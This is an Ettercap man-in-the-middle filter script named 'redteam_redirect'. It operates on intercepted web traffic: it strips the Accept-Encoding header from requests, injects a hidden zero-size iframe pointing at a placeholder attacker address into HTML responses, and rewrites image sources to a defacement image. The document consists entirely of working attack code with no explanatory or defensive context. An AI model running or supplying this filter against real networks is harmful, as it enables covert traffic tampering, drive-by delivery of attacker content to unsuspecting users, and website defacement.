redteam_redirect

if (ip.proto == TCP && ip.dst != '[ATTACK_IP]' && tcp.dst == 80 || tcp.dst == 443 || tcp.dst == 8080) {
   if (search(DATA.data, "Accept-Encoding")) {
      replace("Accept-Encoding", "Reject-Encoding!");
      msg("HTTP Accept-Encoding Stripped.\n");
   }
}

if (ip.proto == TCP && ip.dst != '[ATTACK_IP]' && tcp.src == 80 || tcp.src == 443 || tcp.src == 8080) {
   if (search(DATA.data, "<body>")){
      replace("<body>","<body><iframe src='http://[ATTACK_IP]' width=0 height=0 />");
      msg("IFRAME Injection Triggered!\n");
   }
   if (search(DATA.data, "<BODY>")){
      replace("<BODY>","<BODY><IFRAME SRC='http://[ATTACK_IP]' width=0 height=0 />");
      msg("IFRAME Injection Triggered!\n");
   }
}
if (ip.proto == TCP && tcp.src == 80 || tcp.src == 443 || tcp.src == 8080) {
   replace("img src=", "img src=\"[DEFACE_IMG]\" ");
   replace("IMG SRC=", "img src=\"[DEFACE_IMG]\" ");
   msg("Image Poisoned!\n");
}